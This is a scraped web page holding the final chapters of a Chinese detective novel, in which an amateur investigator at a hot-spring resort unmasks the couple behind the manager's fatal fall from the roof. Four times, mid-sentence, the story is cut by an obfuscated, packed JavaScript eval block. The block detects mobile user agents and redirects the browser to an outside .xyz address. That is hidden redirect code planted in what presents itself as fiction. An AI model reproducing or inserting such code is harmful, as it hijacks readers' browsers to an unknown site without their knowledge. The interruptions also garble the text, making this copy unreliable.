老爷子喝了口豆腐脑,兴奋地对他讲,“是受姓毕的指使,拿了人家的好处。本来是拉炉灰去垫道的,却去了大隆矿,再拿签条封上,送到煤场故意给人发现,谎称没休息好糊涂了。姓毕的坏蛋给验签的透过话,说运煤车里有猫腻,让车里的炉灰被查出来,败坏我侄子的名声。我已经报案了,警察会找他核实的,这下他完了,不进去,也不好做人啦,谁和这种人来往啊?我还听小佟说,那个拍微电影的女一号真真就是小米,我说嘛,在他们车里听着不对劲儿呢。就是她拆散了宏刚的家庭,我那侄子被她迷得五迷三道的,把钱都投给她拍电影啦,那是肉包子打狗有去无回呀。我昨晚回来就告诉他姐了。” 突然从后厨传来怒骂声,“是你下的药!我记得没这么多灵芝,就是你放到药酒里的,想害死我呀?” “我没有,你别想美事儿了,我稀罕你呀?花钱给你买补药?有那钱不如买骨头喂狗,狗还知道摇摇尾巴呢,你能干啥?你有良心吗?”是胖厨娘矢口否认道,那声调若是再高点儿,能把棚顶掀开。 翟宏刚也不示弱,“不是你是谁?这宾馆里就你最顾冻,你管我们借钱,我们没答应,你怀恨在心往酒里加药,灵芝吃多了是慢性毒药,不是李医生给我把脉,我还觉察不到呢,非得把我药死。”他气哼哼地从里面走出来。 胖厨娘还在后厨扯嗓子喊着,“告诉你,爱信不信,不是我放的!你别拿屎盆子往我身上扣,谁稀得碰你那马尿。有两逼钱儿就了不起啦,你们的钱也不是好来的,不借就不借,搞这臭氧层子有意思吗?你们姐弟俩没一个好东西,作损吧,不得好死。” 翟宏刚站在大厅里直运气,看见张强推着垃圾车走过来,鼻子不是鼻子,脸不是脸地啐了一口,“垃圾,贪得无厌,反正我们全家都要移民了,再不用搭理这种货啦。你还能跑到巴西给我下药啊?” “这是怎么啦?你表弟咋这么大脾气?”是李玄和曹斌走过来,刘庆东把听到的讲给他们,还说是厨娘往他的药酒里下了过量的灵芝,“嘿,我没说错吧?有些药不能多吃,有毒啊。原来是得罪人了,被人家偷着下药啦。怪了,一个做饭的老娘们,她咋知道药性呢?”李玄有些想不通。 “我敢肯定,是姓毕的给她出的招,他俩不清不楚的,厨子老往煤场跑。”老法官坚信自己猜对了。 刘庆东关心朋友的病情,问他眼下咋样?还发烧吗? “不烧啦,全好了,就是有点儿虚,浑身没劲儿。”医生也问刘庆东昨晚在民宿住得咋样?刘庆东不想说出抓假鬼的事儿,只说还可以,就是太静了。 “你那里静,我这里可热闹啊,老曹,你没被吵到吧?”李玄不怀好意地问着曹斌,见对方莫名地摇头说还好,“你觉可真大呀,也许我白天睡多了,前半夜被你表弟折腾的够呛。” “小刚怎么折腾你了?他住在四楼,你住在五层,虽然是楼上楼下,可隔着楼板呢,各睡各的没有交集吗?”曹斌不解地问。 李玄现出一脸的无奈,“他和他的女朋友玩得可欢实了,嘿呀嗨呀的楼板都挡不住,你真没听见?对了,他女朋友跟你媳妇一个名字,叫马丫。” “不是真真吗?那个网红啊,他的相好不止一个呀?就他那身子骨能行吗?”曹斌有些担心了。 老法官瞪起眼睛不高兴地说:“大斌呀,你得好好劝劝刚子啦,我听说原来的小三儿叫做小米,是月亮湖KTV的小姐,就是那个又叫真真的女演员。这咋又跟马丫搞到一起啦?能不能正了八经地处个对象啊?” 刘庆东心里暗笑,是不是李玄在逗闷子,于是偷着问他“是不是翟宏刚喊妈呀妈呀的啦?” 见被人识破了,那家伙憋不住地坏笑,“还是刘哥有经验,昨晚还是那个真真。” 袁导也来了,他见到刘庆东径直赶过来,双手合十一个劲儿地表示歉意。解释说女主角早上突然感到腰酸背痛,给他打电话说不能拍戏了,而他又没有刘庆东的手机号,没法及时通知,让其久等了,感到十分的过意不去。 既然人家身体有恙,不能早起拍戏了,自己又没有手机,也没啥好抱怨的。他表示理解,说今天就要离开了,遗憾不能参与他们的影片啦。 吃过饭,他们三个回到房间,刘庆东的那间昨天就退房了,他只好去李玄屋里呆着。 不多时,有人敲门,开门一看是翟宏刚、真真和曹斌。曹斌说一会儿要回沈阳,就要去和表姐道别。却被翟宏刚拦住了,说来一趟不容易,非得让他们吃完午饭再走,还张罗着支桌打麻将,打电话给前台让把麻将桌抬上来。 不多时,服务员文文把桌子搬来了,翟宏刚不满意地问,张强哪儿去啦?这种重活让他来干呀?得到的回答是,吃完早饭就不见了,厨师还找他洗碗呢,可能是出去买菜了吧? 四个人就在房间里码起长城来,刘庆东看了一会儿,嫌他们抽烟呛得慌,便独自出去随便走走。他想起楼顶的风景不错,便上了六楼准备从消防楼梯走上去。 当他打开防火门时,发现下面第四层的门也被推开了,闪身走出来那个骑电动车的小伙子,对方听到上面的响动抬头发现了他。 “小伙子,你也要上楼顶啊?”刘庆东和气地打着招呼。 年轻人显得有些慌乱,“我不去,刚才我上去了,那里没有人。我在找翟经理,她洗完被罩不知道去哪了啦,没在办公室,我都敲两回门了,或许走岔了,我再去餐厅看看。” 刘庆东“哦”了一声,人家有事,看他匆忙从楼梯下去,打厨房的后门进了楼。俯视下面的刘庆东注意到,靠着后厨门口立着几个大垃圾桶,是为了盛放残羹剩饭用的吧。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853057|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到楼顶心旷神怡,今天的天气不错,天空中飘浮着棉花糖般的大块云朵,不紧不慢地从天边来,又向天边去,似要把地上的景物看个够。楼顶真没人,但是可以肯定翟经理来过。绳子上晾晒着一排排被罩和床单,地上放着盛物品的塑料盆,盆里搁着副黄色的乳胶手套。刘庆东实在是佩服啊,这女人真能干,一大早就洗了这么多。他下意识地用手抻了抻被罩,褶皱的接缝让人看了不舒服,这可不是有强迫症女人的性格啊。 就在远处西楼头的地上,亮晶晶地发出炫目的光,好奇心驱使他走过去,弯下腰拾起那两个小东西,看上去像镶嵌在戒指上的钻石,是谁掉落在这里的?不知是啥钻?几克拉的?一定挺值钱吧?只是个头小了一些。他猛然想到了,哦,是镶在指甲上的彩钻啊。他转念一想,丢失的人正着急呢,会不会是翟经理,或是胖厨娘,还是女网红丢的呢?她们的指甲上都镶着钻呢。 他好意把它们揣在裤兜里,心里有些好笑“这些女人啊,就是爱攀比,不管多大岁数,看别人有的她就要有,一窝蜂地赶时髦,像没有主见的沙丁鱼群”,也顾不得欣赏风景了,转身去找失主,可别让人家急坏喽。 当他回到五楼房间,眼前的景象让他吃惊不小,房门大敞四开着,麻将桌还在,却斜倒在地上,麻将牌散落得四处都是。打牌人却不知了去向,似人间蒸发啦,或是被外星人劫持啦?刚刚发生了什么事儿呀?让他们走得如此慌乱。 刘庆东没有手机,无法联系到他们,便乘电梯下到一楼。嚯,此刻的大厅已经乱作一团了,又是喊,又是叫,服务员文文被吓得手足无措,呆站在柜台边嘤嘤地哭,泪水将脸上的胭脂冲得东一条子,西一道子。 文文是指望不上了,厨房的三个职工正站在大门口,一会儿跑出去,一会儿跑进来,似门上拴着牵制他们的猴皮筋,不敢越雷池半步。探头探脑,像是外面发生了极其恐怖的事情。 “孔师傅,出啥事儿啦?”刘庆东问离他最近的厨娘。 瘦女人嘴唇惨白,还不住地打着哆嗦,嘴角抽搐,根本说不出话来。 一向泼辣的胖女人也是非常的紧张,可还好,尚有正常的表达能力,“经理跳楼自杀啦,是花匠发现的,就摔死在西房山头。” 小伙子张强身体显得特别僵硬,站在门边不知如何是好,他面无表情机械地说:“经理死啦,没救了。跟我大舅一样,从办公室的窗户掉下去的,身子被铁栅栏扎了好几个洞,都扎透啦。她是自杀,没人害她,可我大舅是被人推下去的。” 敏感的刘庆东反问他,“翟经理好好的为啥跳楼啊?真死啦?你看见尸体啦?” “我没看见,是花匠发现的,他跑来说的。” 这时,翟宏刚、真真和李玄、曹斌四个人跑进来,脸色难看得吓人。曹斌哭得像个泪人,翟宏刚蹲在地上干呕着,真真浑身发抖像打摆子,只有李玄尚好,声嘶力竭地吩咐服务员文文报警、叫救护车。 “120吗?我们这里有人出事啦,啊,假日温泉度假村。地址,娘娘庙泉眼村西头。” 刘庆东听她磕磕巴巴地打电话,紧张得语无伦次了,竟然把娘娘坟说成了娘娘庙。是呀,谁遇到这种事儿,都会紧张得要命。 24. 后厨闲聊 一时间,在度假村的上空笼罩着沉重的阴霾,大家围绕着自杀与他杀私底下争论不休。 医护人员与警察同志很快来到现场,尽到各自的责任,确认翟宏霞已经死亡,穿白大褂的刑侦人员一通拍照后将尸体拉走了,负责了解情况的同志逐一找人问话,并告知宾馆职工和住客暂时不要离开,随时配合调查。刘庆东也没闲着,给办案人员打着下手,还将自己了解的情况悉数汇报。 “老刘,你说她是自杀,还是被人从办公室里推下楼的?警察也不给个定论,就这么不清不楚地让大家等着。万一是他杀,凶手还在度假村里,保不齐还会作案。”胖厨娘放慢切菜的速度,心神不定地说。 刘庆东正在观看装药酒的玻璃瓶子,“等着呗,查案子得有个过程,就是大侦探波罗来了,也要有时间推理吧?这酒泡了多长时间啦?里面的中药是看煤场的老毕给配的吧?” 胖厨娘瞥了一眼,“是老毕给不是人的配的,有大半年了,他每天中午晚上各喝一杯,说是能治病。我看他越喝越操蛋,还不如早起来出外跑两圈管用,每天九十点钟才下楼,可懒啦。这小子啥也不是,吃喝嫖赌抽五毒俱全,他姐夫给个运输公司,也被他给干黄了。他是月亮湖的常客,身子骨虚的像个稻草人,扛不起来两斗乏米糠。别看他跟我梗梗脖子,就会瞎咋呼,我一杵子能怼娄他。”明显在女人眼里,翟宏刚就是个废物点心。 “这酒喝没了,是谁负责灌满呢?”刘庆东用手指划着瓶子的外壁。 正洗菜的瘦厨娘平静地回答他,“最早酒是二柱子买来的,后来他不干了,换了张强来打杂,他从创业酒厂进货,由我负责往瓶子里灌。” “张强去哪里儿啦?” 胖厨娘告诉他,“出去买菜啦,这么多人等着吃饭,他不去,谁去?没吃没喝,大家都扎脖呀?” “你是啥时候发现酒色儿变深的呢?”刘庆东转回身望向姓孔的女人。 “咦,你咋知道色儿变深的呢?”女人惊异地抬起头,“是突然变深了,我记得是刚过完年,张强来了没多久。我还问他呢,这白酒不是原来那家的啦?刚总可不喝小作坊的散搂子,他说还是那家的原浆,当时我以为是度数高了呢。” 刘庆东小心翼翼地问她们,像是怕被别人听了去,“有人说张强是黄矿长的外甥。” “不知道啊。” “没听说过。” 两个女的异口同声地说。 “不可能吧?他舅舅是被翟宏刚害死的,他还能来度假村打工?”胖厨娘突然捂上嘴,眼睛睁得大大的,“要是真的,那太可怕了,他是来给舅舅报仇的,是翟宏刚害死的黄矿长。” 刘庆东目光犀利地直视着她,“你怎么知道是翟宏刚害死的黄矿长?有人听见翟经理威胁过你,说是你要是去举报她们,她要杀你全家。” “谁说的?根本没那码事儿。我怎么会知道黄矿长是被害死的呢?我也是听别人瞎传,说贪污的不只是矿长一个人,是集体作案,刘老坏怕事情暴露了,让他小舅子害死了黄世仁。”胖女人明显不想讲出实情,她竭力往外辙着。 瘦女人似被吓到了,她极度紧张地说出自己的判断,“张强是跳楼矿长的外甥?那就对了,灵芝一定是他放的,他恨刚总,想要药死他。今天早餐时他还在餐厅呢,等到九点歇业后他就不见了,盘子碗一大堆等着洗呢,这小子却躲清净去了。我还到服务台问过文文,文文说没看到他出去。那他一定是上四楼了,把宏霞从窗户推了出去,跟他舅舅死法一样,一报还一报。那么说,她不是自杀,是被张强杀死的。” 刘庆东深思片刻说,“是自杀,还是他杀,我还说不准。是不是张强杀的人目前也没有证据。我能肯定的是,张强早餐后去过楼顶和四楼的办公室,据他说办公室里没人。然后从楼梯下去,从厨房的后门进了楼。” 胖厨娘点着头,“张强是从后门回来的,我们看见啦,那时是九点半多了。我们还问他上哪儿啦?他只说累了,去楼顶透透气。” 孔素芬以事不关己的腔调说:“我们小老百姓到哪儿找证据去呀?那是警察管的事儿。反正跟我们没关系,我和秦姐一直在这里做饭呢,到尸体被发现才出去。我们啥也不知道,只听说翟经理是从四楼摔下去的,直接被栅栏门上的枪头扎死啦。” “是从楼顶,不是从四楼办公室。”刘庆东更正她,见她满脸懵懂的样子补充说明,“你没发现调兵山老房子的窗户都比较窄吗?应该是为了冬天保暖。翟经理那么胖,硬挤出去不容易。假使是张强把她推出窗外的,那得用多大的力气呀?翟经理头上和脖子上都没有伤,不是被打晕或是勒死的,她个大活人不得反抗啊?在两个人拼死相搏时,大小伙子不一定能打得过大老娘们。再说她不会喊吗?楼上楼下都没有人听到。而楼顶就不一样了,你喊破了喉咙也无济于事。而且我在那里找到了物证,已经交给警察同志了,我在西边的地上,捡到了疑是她指甲上的彩钻,我看过尸体了,她右手的中指和食指上光秃秃的。如果她在四楼掉下去的,这两颗彩钻怎么会跑到楼顶去了呢?” 胖厨娘反驳他,“也许是她晾东西时掉在那里的,她经常在早餐后去洗床单和被罩,拿到楼顶去晾。” 刘庆东有自己的见解,“彩钻那么不结实吗?她每天都去晾晒,隔几天便掉一回,也修复不过来呀,一定是与人扭打硬磕掉的,就是在那里被推下楼的。”他透过窗户看向外面,“我记起来了,她说西面的房山有人跳楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853058|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自杀过,很忌讳走过去。那么今天咋例外了呢?一定是与人追打无意间过去的,那人将她推下了楼,这家伙的力气可不小,凶手会是谁呢?” “一定是度假村内部人,与她有仇的人。客人不会去楼顶闹事的,都是在服务台,或是客房找茬吵吵。”胖厨娘听他的分析细思极恐。 “也许我们想多了,可能当时刮大风,把床单吹跑啦,宏霞去追,没加小心摔到楼下的呢。” 刘庆东立马否定孔素芬,“那吹跑的床单呢?你们没到现场,可我去了,楼顶上没有,楼下也没发现,不能被风刮跑了吧?”他摇摇头认为不可能。 “你认为是张强为他舅报仇,趁着宏霞去楼顶晾东西,把她推下去摔死的?”瘦女人压低声音询问道。 刘庆东微微一笑,“我不认为是他,也许往瓶子里放灵芝的是他,针对的是翟宏刚。他早餐后去找翟宏霞,那么迫切,一定要和她摊牌了,他手里一定掌握着前煤矿集体贪污的证据,用要挟形容也好,用找回公道也罢,总之,他上楼去找了,可没找到。” “为什么你肯定他没找到呢?他不是承认上楼顶了吗?有可能在那里发生了冲突,他把宏霞推下楼摔死啦。” 刘庆东早料到瘦女人会这么问,“若是他杀了人,不会再去办公室啦,那样做不合情理嘛。他会在第一时间远离现场,找个人多的地方洗脱自己的嫌疑。” 胖女人自感很聪明,“张强是故意的,他杀完人,去四楼装模做样地给你看。” “现在除了我,只知道他上过楼顶,他和我一样都有杀人的嫌疑。可像你说的就没必要了,他怎么知道我会出现在楼梯上?难道没有人来,他一直等下去吗?这方面你应该有经验,黄矿长被害那天,你不是在消防楼梯上看到翟宏刚下来吗?他可是比兔子跑得还快,我猜你当时是从后门出去,去倒垃圾吧?” 这番话说得胖厨娘呆在那里,手里的菜刀停住了,“谁告诉你的?真是纸包不住火啊,可你方向搞错了,不是人的是顺着楼梯往上走,我看见他从四层防火门进去的,不一会儿黄矿长就出事啦。” “会不会凶手是张会计?昨天他还挨顿骂呢,脸面上挂不住,怀恨在心杀了她吧?刚才出事儿时,看他特兴奋,要是没人都能乐出声了。”瘦女人有了新想法。 刘庆东严肃地说,“皆有可能,张会计、他表哥王村长、煤场的老毕,她叔叔,她弟弟,还有全部住客,我、你、她都是嫌疑人。” 胖厨娘一听便急了,“老毕不会呀,他没来吃早饭。我和素芬也不是呀,我俩打早晨起都在厨房里,一步也没离开,直到张会计跑来告诉我们出事了。” “是呀,是呀,我们可以相互作证。”她的同伴随声附和着。 25. 查出真凶 刘庆东回到五楼李玄的房间,屋子里的麻将桌已经撤走啦,曹斌和翟宏刚也在这里,表兄弟的眼睛都哭红了。 “斌哥,你是知道的,我们父母去世得早,我是由姐姐拉扯大的。现在出了这种事儿,我像天塌了一样。” 曹斌安慰着他,表姐的死一定是意外,她为人开朗大方,对人又好,谁会害她呀?更不会自杀,活得好好的,没啥想不开的。 “是的,是的,她有可能晾完床单,回到办公室擦窗户玻璃,不小心掉下去的,她爱干净,昨天又刚下过雨,姐姐这辈子太要强啦。” “可是现场没有抹布啊?也没看见玻璃刷呀?盛水的盆也没有。”李玄认为不可能。 刘庆东也认为不是他说的那样,询问翟宏刚最近几天他姐姐有啥反常的举动吗? “没有啊,跟往常一样,整天乐乐呵呵的。”他略微沉吟了一下,“她昨天跟我说,搞垮运输公司的坏蛋查出来了,是毕金山使的坏。真没想到啊,平时装得人模狗样的,背地里净干缺德事儿,知人知面不知心啊。有知情人告诉我姐,民宿装神弄鬼的人也是他。” “民宿装鬼的不是他,昨天夜里村长带人抓住了,是祥子,他为了泄私愤,可主意是老毕给他出的。”刘庆东说出实情。 “是他呀。”翟宏刚的嗓子眼里咕噜了一声,像是理亏没底气,便不再提及此事了。 李玄关心地问,“刚子,今天早晨你见过你姐没?” “没见过”,他斩钉截铁地回答道,“可她快六点多钟给我来了个电话,告诉我出国的钱准备好了,下午就转给我,让我赶紧办护照。我还跟她讲呢,到巴西后要是顺利,这度假村就不干了,把她也接去享享福。”他的眼泪又止不住地夺眶而出,于是去卫生间洗了把脸。 “她那个点儿应该在楼顶锻炼呢。”刘庆东捋着时间。 “对,咦!你怎么知道?”这让翟宏刚愣了一下,“你刚来一天,就掌握了这么多情况?” 刘庆东把在楼顶与翟宏霞的邂逅讲给他,然后问他早饭是不是没吃呀? “没吃!气都气饱了,秦贵香太不是东西了,她家困难,儿子上大学没有钱,是我姐发善心给她的,反正也没指望还。前几天她又来借,说儿子要结婚买新房,狮子大开口,一借就是几十万,太不要脸了,我和我姐商量后没借给她。她没借到钱生气呀,到处造我的谣,说黄矿长是我给推下楼的。血口喷人,我哪儿有那胆量?那天我是去四楼办公室了,是去向他借铲车,出矿平我家门口的路啊。” 翟宏刚所说的是真是假,只有他自己知道,刘庆东通过两天来的了解,对他的人品并不看好。 “刚子,听说你和真真处对象呢?”刘庆东有意问他。 “啊,我离婚两年多啦,也处了几个,还是感到和真真最得劲儿。” 刘庆东进一步地问,“你们昨晚在一起吧?” “没有,她昨晚说身体不舒服,早早就睡了,今天早晨九点才起来,之后到这屋来打麻将,从三楼来到五楼,哪儿也没去。” 屋里的三个人都知道他在撒谎,也许人家不好意思,毕竟也不是什么可炫耀的事儿嘛。 刘庆东感慨地说:“你姐真是个能干的人啊,一天闲不住,亲力亲为。她通常早起上楼顶锻炼,然后是去餐厅帮厨吧?还要自己动手洗床单,是客人们吃过早餐后去洗吗?” “是,她一般在大家吃完早饭后,看厨师能忙过来了才去洗衣房。”翟宏刚被刘庆东瞅得有些不自然了,“可今天早晨是我替他去帮厨的,我和张强摞的碗筷,摆的台。我姐在电话里让我去的,说要发个回执,对方等着要呢。而且今天要洗的东西特别多,得趁着天好早点儿晾出去。她这个人就这样,不让别人洗,怕洗不干净。” “这就对啦,我说餐厅的盘子摆得歪歪扭扭呢,像土耳其的舞娘,根本不是你姐的作风啊。”刘庆东看似恍然大悟,“我听你姐亲口说的,她有洁癖,强迫症,不光是怕人洗不干净,还怕洗不板正,被罩的接缝都得抻平喽。可在你们打麻将那会儿我上去过,发现接缝皱皱巴巴的,根本不是你姐洗的。” “也许是她忙,让服务员洗的吧。”曹斌分析有这种可能。 刘庆东摇头说不是,“我就在刚才问过服务员,她们都说没洗过,而且从早晨到出事儿时都没见过经理。” “那么说翟经理早就被害了,凶手在办公室里杀了人,又去做假象,把床单都洗了,让别人以为她还活着,是早餐后出的事儿。”李玄开动脑筋梳理着作案经过。 “是在楼顶被人推下去的。”刘庆东又说了一遍自己的观点。 “凶手一定熟悉表姐的作息习惯。他为什么要这样做呢?想掩盖什么?”曹斌想不出凶手的动机。 刘庆东说出他的想法,“应该是他当时找不到不在作案现场的伪证吧。我也想不通,随便找个人不就行啦?何必这么大费周折呢?” “在楼顶?这不是自相矛盾嘛。你不是说床单是凶手洗的吗?我姐都被杀死了,她怎么会又去楼顶呢?”翟宏刚认为逻辑混乱了。 “难道不会在晨练时就已经遇害了呢?有可能她刚刚和你通了电话,就有人上到楼顶对其下了毒手。” 刘庆东的这个观点让其他三个人连连咂舌,这个思路更贴近现实。 “凶手是毕金山,他一直对我们姐俩心怀鬼胎,得知我们掌握了他的卑劣行径,要来个鱼死网破呀。或许是司机老佟?去年他女儿要出国,向我借钱,我当时手头也挺紧的,没给他,他一定怀恨在心。八成是王村长?他这些年吃拿卡要没少划拉,政府正在倒查呢,他怕事情败露,杀人灭口。还有二民、祥子、原来公司的职工都有可能,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853059|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来恶意讨薪,我姐报警把他们撵跑了。”他列出一大堆人名来。 “刚子,你把怀疑的人列出单子,交给警察让他们排查,我就不信找不出凶手,他总会留下些蛛丝马迹的。”对这点曹斌蛮有信心的。 “不用费那么大的劲儿,我在楼顶的塑料盆里看到副乳胶手套,凶手应该是戴着它洗床单、晾被罩的。他感到这样能不留指纹,可疏忽了一点,在手套的内侧已经留下痕迹。可以给警察打电话,让他们检验一下里面的DNA,一比较不就真相大白了嘛。” 其他三个人都说这下好了,找到了破案的关键,刘庆东让李玄赶紧打电话联系。翟宏刚自告奋勇要下楼去大门口迎接,让他们三个在屋子里等着。刘庆东主动要求跟他一同去,又去了趟厕所,磨磨蹭蹭走在后面与李玄耳语了几句。 风和日丽的天空,连个风丝儿都没有,楼顶晾晒的物件似被喷上了定型胶,看上去不像是布做的,倒像是铁艺打造出来的。 当刘庆东与翟宏刚引着警察同志出现在楼梯口时,眼前的景象让他们大吃一惊,两个大男人都受了伤,一个躺在地上,抱着腿不住地呻吟;另一个蹲着,捂着眼睛疼得直哼哼,他的那副眼镜支离破碎地散在脚边。 “李玄、曹斌,这是怎么啦?”刘庆东紧皱双眉赶过去询问。 医生强忍着疼痛指向消防楼梯口,“快,快,她刚跑,去抓她。” “是真真吧?”刘庆东似乎早就料到了。 李玄连点头的力气也没有了,“就是她,正像你说的,她偷偷摸摸跑上来,正要把手套拿走,就被我喊住了。” “是她,我们俩听你的话躲在塔楼里,就不应该上那里面去。”教师后悔不迭,“我们从门缝里看见是她,李玄一个健步就闯出去了,步子迈得太大了,一下子卡在铁梯子上啦,那样他还往前爬呢。” “我不是忘了有痛风吗?光顾着抓人啦。老曹也挺猛的,上去把她摁住了,骑在身子底下,可那娘们力气真大,往上一顶就把他掀翻了。”医生为自己的疏忽解释着。 “你们要不要紧?”跟来的两个警察关心他们的伤势。 “我没事,快去抓杀人犯,那娘们可邪乎了,一定练过功夫,也不知道在哪儿练出来的?还拿根拖布杆把我一顿抽,正扫在眼睛上,眼镜!眼镜一定是碎啦。”曹斌的眼睛已经瘀血了,肿得老高。 “这个臭娘们,我去追她!”翟宏刚转身要下楼去追。 刘庆东一把将他拉住,“刚总,你就别去啦,抓住一个也凑合啦,不能让两个同案犯都跑了呀。” 翟宏刚鸡皮酸脸地骂他无聊,都什么时候了还开玩笑?同时使劲要挣脱开。 “警察同志,别让他跑了,那女人是主犯,他是帮凶。”两个警察赶紧把人控制住,又是打电话要急救车,又是听刘庆东给他们说案情。 26. 归途 黑色的本田思域打依牛堡子上了高速,一路向南往沈阳疾驰而去。副驾驶位置上坐着曹斌,他的眼睛缠着纱布,视觉基本丧失了,只能学蝙蝠竖起耳朵收集声波。李玄躺在后排座椅上,伸直了打着石膏的腿,一根拐杖放在车内的地板上。即便是这样,那两个人还在琢磨着案情呢。 “刘哥,你是咋知道他俩是同谋的?不是你火眼晶晶,咱们还不知道啥时候能回来呢?”医生对同伴相当佩服。 刘庆东手把方向盘目视前方,“曹斌这个表弟呦,一屁俩谎,他二叔告诉我,查出真真就是风尘女小米,侄子把钱都投给这个不靠谱的女网红了,并且已经跟他姐说了,翟宏霞怎么会再给他钱挥霍呢?我断定早上那个电话不是给他钱,正好相反,是让他跟真真一刀两断。” “是呀,那坏女人不是招了嘛,正像你分析的,她去楼顶与表姐解释,表姐正在那里晨练呢,她们没谈拢争执起来,双方动起手,追打之中情急之下,失去了理智,把表姐推下楼去。她极力强调自己是误杀,当时脑子里一片空白,吓得都堆遂了,小便失禁,死的心都有。”曹斌从车门储物格里摸出矿泉水瓶,拧开盖子喝了一口。 “你那表弟不撒谎不会说话,明明他们俩睡在一起,他却说没有同房,我都听到这对狗男女又喊又叫的,尤其是那个女的,嗲声嗲气的最好辨认,两个多小时愣没消停。” 刘庆东按照他的思路分析着,“李玄好这口儿,不会听错的,当时你表姐来电话女网红就在旁边,听你表弟说明情况,她当时就急了,月亮湖的酒吧女哪能受这种窝囊气呀?一定是翟宏刚告诉她,他姐在楼顶呢,便上楼与其理论。她这么激动有两个原因,一个是自尊心受到了伤害,一个是拍摄微电影的资金就要断了,你说她能不急吗?” 李玄躺累了,侧身换了个姿势,“指定是这样,真真误杀了人,翟宏刚怎能袖手旁观呢?便想法给她脱罪,假造不在现场的伪证。这个懒家伙也不赖床了,怕别人发现他姐失踪了,赶忙去餐厅帮忙。却被刘哥发现盘子的摆放不整齐,他便慌称翟宏霞有事,让他去帮厨的。” “主要是被罩接缝的褶子,我当即意识到,是别人洗的晒的。而且早餐还没结束呢,张强就上楼找翟宏霞了,他来来回回又是办公室,又是楼顶,也没见到人影。可床单洗完了,晾在绳子上,而且不是死者洗的,以此判断,翟宏霞是在开饭前就遇害了。那床单是谁洗的呢?我思来想去,只能是翟宏刚了。” 曹斌完全同意朋友的分析,“然后跑到我的屋子挽留我,又张罗着打麻将,让我们为他作证,不具备作案的时间。没想到这小子这么顾冻。也对,随他老翟家那根儿,他爸就那样,活着的时候是阴损顾冻坏,损人不利己。” “能这么迅速抓到凶手多亏了大健,这孩子有正义感。”刘庆东喜爱之情溢于言表。 李玄笑着也夸奖道,“是呀,村长的外孙子真不错,人小鬼大,挺机灵的。他爬到河边的树上玩,发现真真拎着棍子跑出来,感到挺可疑,就跟上去了,一直跟到娘娘庙,看到她躲到佛像的后面,便跑回来报告警察,到哪儿去一捉一个准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853060|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 曹斌也跟着说,“那娘们真是急了,像没头的苍蝇到处瞎跑,你能跑到哪儿去呀?天网恢恢,早晚会被抓住的,看她选那个地方,娘娘庙,来往的人比超市还多,能藏得住吗?” “这回来娘娘坟度假村损失可大去啦,来时好好的,回去成伤员了,小曹啊,你回家会不会挨说呀?一进门就承认错误啊,态度不好,你媳妇可不伺候你呀。” 曹斌嘿嘿笑着说不会,李玄不无羡慕地说,“刘哥,老曹的媳妇可好了,人长得漂亮,还很温柔,幼师的性格好啊,没事儿给他唱唱儿歌“排排坐呀吃果果,你一个呀我一个”。我家那位十个也不抵人家一个。他们结婚你没去吧?那会儿正好你上沧州学习去啦,那婚礼办的可带样啦,摆了四十多桌。” “我家亲戚多,是有点儿大操大办啦,支部都约谈我了。”看他一脸的骄傲,并无后悔的意思,“刘哥,我给你纠正啊,是娘娘庙,没有什么娘娘坟,那庙是清朝道光年间修建的,供奉着云霄、琼霄、碧霄三霄娘娘,是调兵山开发旅游资源的亮点呢。” “啥?不是娘娘坟吗?咋成娘娘庙啦?”刘庆东给搞懵了。 两人朋友一致说他记错了,那里根本没有娘娘坟这个地名。 刘庆东恍惚了,猛然间心里一惊,“怎么之前的情况全变啦?难道我穿越回来穿到其他平行世界里啦?娘娘坟变成了娘娘庙,曹斌的媳妇从彪悍强势的母老虎,变成了贤良淑德的小白兔,我那老婆会变成啥样子啦?阿弥陀佛,老天保佑啊。” (完)